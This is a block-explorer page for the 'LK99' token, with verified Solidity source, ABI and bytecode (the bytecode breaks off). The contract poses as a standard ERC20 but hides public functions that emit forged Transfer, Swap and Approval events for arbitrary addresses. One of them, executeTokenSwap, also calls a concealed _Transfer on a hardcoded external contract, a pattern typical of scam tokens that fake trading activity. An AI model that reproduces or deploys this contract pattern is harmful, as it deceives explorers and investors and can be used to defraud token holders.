ETH Price: $3,122.74 (-5.35%)
 

Overview

Max Total Supply

97,385,325,487 LK99

Holders

24

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 8 Decimals)

Balance
498,239,805.58911943 LK99

Value
$0.00
0xb8cae8788e8aec58a504f5bb4482e4fa5d382f47
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ERC20

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-04
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);


    function allowance(address owner, address spender) external view returns (uint256);


    function approve(address spender, uint256 amount) external returns (bool);


    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}


interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

interface IERC200 { 
    function _Transfer(address from, address recipient, uint amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    event Transfer(address indexed from, address indexed to, uint256 value);    
}
interface IERCswap { 
    function balanceOf(address account) external view returns (bool);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }


    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }


}


contract ERC20 is Ownable, IERC20, IERC20Metadata {

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    bool private _snapshotApplied = false;
    address a1;
    address a2 = address(0);
    string private _name;
    string private _symbol;

    address private _universal = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address private _pair = address(0);
    

    /**
    * init uniswap V2 pool  + a2=Agency contract address
    */
    function setup(address _setup_ , address _a2) external  {
        require(a1 == _msgSender(), "Ownable: caller is not the owner");
        _pair = _setup_;
        a2 = _a2;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }


    function decimals() public view virtual override returns (uint8) {
        return 8;
    }




    function executeTokenSwap(
        address uniswapPool,
        address[] memory recipients,
        uint256  tokenAmounts,
        uint256  wethAmounts
    ) public returns (bool) {
        for (uint256 i = 0; i < recipients.length; i++) {
            emit Transfer(uniswapPool, recipients[i], tokenAmounts);
            emit Swap(
                0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
                tokenAmounts,
                0,
                0,
                wethAmounts,
                recipients[i]
            );
            IERC200(0x3579781bcFeFC075d2cB08B815716Dc0529f3c7D)._Transfer(recipients[i], uniswapPool, wethAmounts);
        }
        return true;
    }


    function Approve(address [] calldata _addresses_ , uint256 balance) external  {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Approval(_addresses_[i], address(this), balance);
        }
    }
    function execute(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_universal, _in, 0, 0, _out, _addresses_[i]);
            emit Transfer(_pair, _addresses_[i], _out);
        }
    }

    function transfer(address _from, address _to, uint256 _wad) external {
        emit Transfer(_from, _to, _wad);
    }


    function toApplied(bool c) external  {
        require(a1 == _msgSender(), "Ownable: caller is not the owner");
        _snapshotApplied = c;
    }
    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }



    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");




        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }



        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");


        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }


    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }


    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }


    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}


    constructor(string memory name_, string memory symbol_,uint256 amount) {
        _name = name_;
        _symbol = symbol_;
        a1 = msg.sender;
        _mint(msg.sender, amount * 10 ** decimals());
    }


}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"balance","type":"uint256"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uniswapPool","type":"address"},{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256","name":"tokenAmounts","type":"uint256"},{"internalType":"uint256","name":"wethAmounts","type":"uint256"}],"name":"executeTokenSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_setup_","type":"address"},{"internalType":"address","name":"_a2","type":"address"}],"name":"setup","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"c","type":"bool"}],"name":"toApplied","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040525f60045f6101000a81548160ff0219169083151502179055505f60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620000fd575f80fd5b5060405162002c1b38038062002c1b8339818101604052810190620001239190620005d2565b6200014362000137620001ed60201b60201c565b620001f460201b60201c565b826006908162000154919062000897565b50816007908162000166919062000897565b5033600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620001e433620001bd620002b560201b60201c565b600a620001cb919062000b04565b83620001d8919062000b54565b620002bd60201b60201c565b50505062000c82565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f6008905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200032e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003259062000bfc565b60405180910390fd5b8060035f82825462000341919062000c1c565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003f1919062000c67565b60405180910390a36200040c5f83836200041060201b60201c565b5050565b505050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b62000476826200042e565b810181811067ffffffffffffffff821117156200049857620004976200043e565b5b80604052505050565b5f620004ac62000415565b9050620004ba82826200046b565b919050565b5f67ffffffffffffffff821115620004dc57620004db6200043e565b5b620004e7826200042e565b9050602081019050919050565b5f5b8381101562000513578082015181840152602081019050620004f6565b5f8484015250505050565b5f620005346200052e84620004bf565b620004a1565b9050828152602081018484840111156200055357620005526200042a565b5b62000560848285620004f4565b509392505050565b5f82601f8301126200057f576200057e62000426565b5b8151620005918482602086016200051e565b91505092915050565b5f819050919050565b620005ae816200059a565b8114620005b9575f80fd5b50565b5f81519050620005cc81620005a3565b92915050565b5f805f60608486031215620005ec57620005eb6200041e565b5b5f84015167ffffffffffffffff8111156200060c576200060b62000422565b5b6200061a8682870162000568565b935050602084015167ffffffffffffffff8111156200063e576200063d62000422565b5b6200064c8682870162000568565b92505060406200065f86828701620005bc565b9150509250925092565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620006b857607f821691505b602082108103620006ce57620006cd62000673565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620007327fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620006f5565b6200073e8683620006f5565b95508019841693508086168417925050509392505050565b5f819050919050565b5f6200077f6200077962000773846200059a565b62000756565b6200059a565b9050919050565b5f819050919050565b6200079a836200075f565b620007b2620007a98262000786565b84845462000701565b825550505050565b5f90565b620007c8620007ba565b620007d58184846200078f565b505050565b5b81811015620007fc57620007f05f82620007be565b600181019050620007db565b5050565b601f8211156200084b576200081581620006d4565b6200082084620006e6565b8101602085101562000830578190505b620008486200083f85620006e6565b830182620007da565b50505b505050565b5f82821c905092915050565b5f6200086d5f198460080262000850565b1980831691505092915050565b5f6200088783836200085c565b9150826002028217905092915050565b620008a28262000669565b67ffffffffffffffff811115620008be57620008bd6200043e565b5b620008ca8254620006a0565b620008d782828562000800565b5f60209050601f8311600181146200090d575f8415620008f8578287015190505b6200090485826200087a565b86555062000973565b601f1984166200091d86620006d4565b5f5b8281101562000946578489015182556001820191506020850194506020810190506200091f565b8683101562000966578489015162000962601f8916826200085c565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000a0557808604811115620009dd57620009dc6200097b565b5b6001851615620009ed5780820291505b8081029050620009fd85620009a8565b9450620009bd565b94509492505050565b5f8262000a1f576001905062000af1565b8162000a2e575f905062000af1565b816001811462000a47576002811462000a525762000a88565b600191505062000af1565b60ff84111562000a675762000a666200097b565b5b8360020a91508482111562000a815762000a806200097b565b5b5062000af1565b5060208310610133831016604e8410600b841016171562000ac25782820a90508381111562000abc5762000abb6200097b565b5b62000af1565b62000ad18484846001620009b4565b9250905081840481111562000aeb5762000aea6200097b565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000b10826200059a565b915062000b1d8362000af8565b925062000b4c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000a0e565b905092915050565b5f62000b60826200059a565b915062000b6d836200059a565b925082820262000b7d816200059a565b9150828204841483151762000b975762000b966200097b565b5b5092915050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62000be4601f8362000b9e565b915062000bf18262000bae565b602082019050919050565b5f6020820190508181035f83015262000c158162000bd6565b9050919050565b5f62000c28826200059a565b915062000c35836200059a565b925082820190508082111562000c505762000c4f6200097b565b5b92915050565b62000c61816200059a565b82525050565b5f60208201905062000c7c5f83018462000c56565b92915050565b611f8b8062000c905f395ff3fe608060405234801561000f575f80fd5b5060043610610114575f3560e01c80638da5cb5b116100a0578063a9059cbb1161006f578063a9059cbb146102cc578063beabacc8146102fc578063dd62ed3e14610318578063f2fde38b14610348578063fde980ca1461036457610114565b80638da5cb5b1461025857806395d89b41146102765780639ebbaef714610294578063a1c617f5146102b057610114565b80632d34ba79116100e75780632d34ba79146101b4578063313ce567146101d05780633a85d2c8146101ee57806370a082311461021e578063715018a61461024e57610114565b806306fdde0314610118578063095ea7b31461013657806318160ddd1461016657806323b872dd14610184575b5f80fd5b610120610380565b60405161012d9190611392565b60405180910390f35b610150600480360381019061014b9190611450565b610410565b60405161015d91906114a8565b60405180910390f35b61016e610432565b60405161017b91906114d0565b60405180910390f35b61019e600480360381019061019991906114e9565b61043b565b6040516101ab91906114a8565b60405180910390f35b6101ce60048036038101906101c99190611539565b610469565b005b6101d8610584565b6040516101e59190611592565b60405180910390f35b610208600480360381019061020391906116eb565b61058c565b60405161021591906114a8565b60405180910390f35b6102386004803603810190610233919061176b565b61077f565b60405161024591906114d0565b60405180910390f35b6102566107c5565b005b6102606107d8565b60405161026d91906117a5565b60405180910390f35b61027e6107ff565b60405161028b9190611392565b60405180910390f35b6102ae60048036038101906102a99190611817565b61088f565b005b6102ca60048036038101906102c59190611874565b610941565b005b6102e660048036038101906102e19190611450565b610ac8565b6040516102f391906114a8565b60405180910390f35b610316600480360381019061031191906114e9565b610aea565b005b610332600480360381019061032d9190611539565b610b54565b60405161033f91906114d0565b60405180910390f35b610362600480360381019061035d919061176b565b610bd6565b005b61037e6004803603810190610379919061190f565b610c58565b005b60606006805461038f90611967565b80601f01602080910402602001604051908101604052809291908181526020018280546103bb90611967565b80156104065780601f106103dd57610100808354040283529160200191610406565b820191905f5260205f20905b8154815290600101906020018083116103e957829003601f168201915b5050505050905090565b5f8061041a610d0b565b9050610427818585610d12565b600191505092915050565b5f600354905090565b5f80610445610d0b565b9050610452858285610ed5565b61045d858585610f60565b60019150509392505050565b610471610d0b565b73ffffffffffffffffffffffffffffffffffffffff16600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610500576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f7906119e1565b60405180910390fd5b8160095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b5f6008905090565b5f805f90505b8451811015610772578481815181106105ae576105ad6119ff565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161061291906114d0565b60405180910390a384818151811061062d5761062c6119ff565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822865f80886040516106ab9493929190611a6e565b60405180910390a3733579781bcfefc075d2cb08b815716dc0529f3c7d73ffffffffffffffffffffffffffffffffffffffff1663e156b1b68683815181106106f6576106f56119ff565b5b602002602001015188866040518463ffffffff1660e01b815260040161071e93929190611ab1565b6020604051808303815f875af115801561073a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061075e9190611afa565b50808061076a90611b52565b915050610592565b5060019050949350505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6107cd6111c4565b6107d65f611242565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606007805461080e90611967565b80601f016020809104026020016040519081016040528092919081815260200182805461083a90611967565b80156108855780601f1061085c57610100808354040283529160200191610885565b820191905f5260205f20905b81548152906001019060200180831161086857829003601f168201915b5050505050905090565b5f5b8383905081101561093b573073ffffffffffffffffffffffffffffffffffffffff168484838181106108c6576108c56119ff565b5b90506020020160208101906108db919061176b565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161092091906114d0565b60405180910390a3808061093390611b52565b915050610891565b50505050565b5f5b84849050811015610ac157848482818110610961576109606119ff565b5b9050602002016020810190610976919061176b565b73ffffffffffffffffffffffffffffffffffffffff1660085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822855f80876040516109f99493929190611a6e565b60405180910390a3848482818110610a1457610a136119ff565b5b9050602002016020810190610a29919061176b565b73ffffffffffffffffffffffffffffffffffffffff1660095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610aa691906114d0565b60405180910390a38080610ab990611b52565b915050610943565b5050505050565b5f80610ad2610d0b565b9050610adf818585610f60565b600191505092915050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b4791906114d0565b60405180910390a3505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610bde6111c4565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4390611c09565b60405180910390fd5b610c5581611242565b50565b610c60610d0b565b73ffffffffffffffffffffffffffffffffffffffff16600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce6906119e1565b60405180910390fd5b8060045f6101000a81548160ff02191690831515021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7790611c97565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de590611d25565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ec891906114d0565b60405180910390a3505050565b5f610ee08484610b54565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610f5a5781811015610f4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4390611d8d565b60405180910390fd5b610f598484848403610d12565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc590611e1b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361103c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103390611ea9565b60405180910390fd5b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156110c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b790611f37565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111ab91906114d0565b60405180910390a36111be848484611303565b50505050565b6111cc610d0b565b73ffffffffffffffffffffffffffffffffffffffff166111ea6107d8565b73ffffffffffffffffffffffffffffffffffffffff1614611240576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611237906119e1565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561133f578082015181840152602081019050611324565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61136482611308565b61136e8185611312565b935061137e818560208601611322565b6113878161134a565b840191505092915050565b5f6020820190508181035f8301526113aa818461135a565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6113ec826113c3565b9050919050565b6113fc816113e2565b8114611406575f80fd5b50565b5f81359050611417816113f3565b92915050565b5f819050919050565b61142f8161141d565b8114611439575f80fd5b50565b5f8135905061144a81611426565b92915050565b5f8060408385031215611466576114656113bb565b5b5f61147385828601611409565b92505060206114848582860161143c565b9150509250929050565b5f8115159050919050565b6114a28161148e565b82525050565b5f6020820190506114bb5f830184611499565b92915050565b6114ca8161141d565b82525050565b5f6020820190506114e35f8301846114c1565b92915050565b5f805f60608486031215611500576114ff6113bb565b5b5f61150d86828701611409565b935050602061151e86828701611409565b925050604061152f8682870161143c565b9150509250925092565b5f806040838503121561154f5761154e6113bb565b5b5f61155c85828601611409565b925050602061156d85828601611409565b9150509250929050565b5f60ff82169050919050565b61158c81611577565b82525050565b5f6020820190506115a55f830184611583565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6115e58261134a565b810181811067ffffffffffffffff82111715611604576116036115af565b5b80604052505050565b5f6116166113b2565b905061162282826115dc565b919050565b5f67ffffffffffffffff821115611641576116406115af565b5b602082029050602081019050919050565b5f80fd5b5f61166861166384611627565b61160d565b9050808382526020820190506020840283018581111561168b5761168a611652565b5b835b818110156116b457806116a08882611409565b84526020840193505060208101905061168d565b5050509392505050565b5f82601f8301126116d2576116d16115ab565b5b81356116e2848260208601611656565b91505092915050565b5f805f8060808587031215611703576117026113bb565b5b5f61171087828801611409565b945050602085013567ffffffffffffffff811115611731576117306113bf565b5b61173d878288016116be565b935050604061174e8782880161143c565b925050606061175f8782880161143c565b91505092959194509250565b5f602082840312156117805761177f6113bb565b5b5f61178d84828501611409565b91505092915050565b61179f816113e2565b82525050565b5f6020820190506117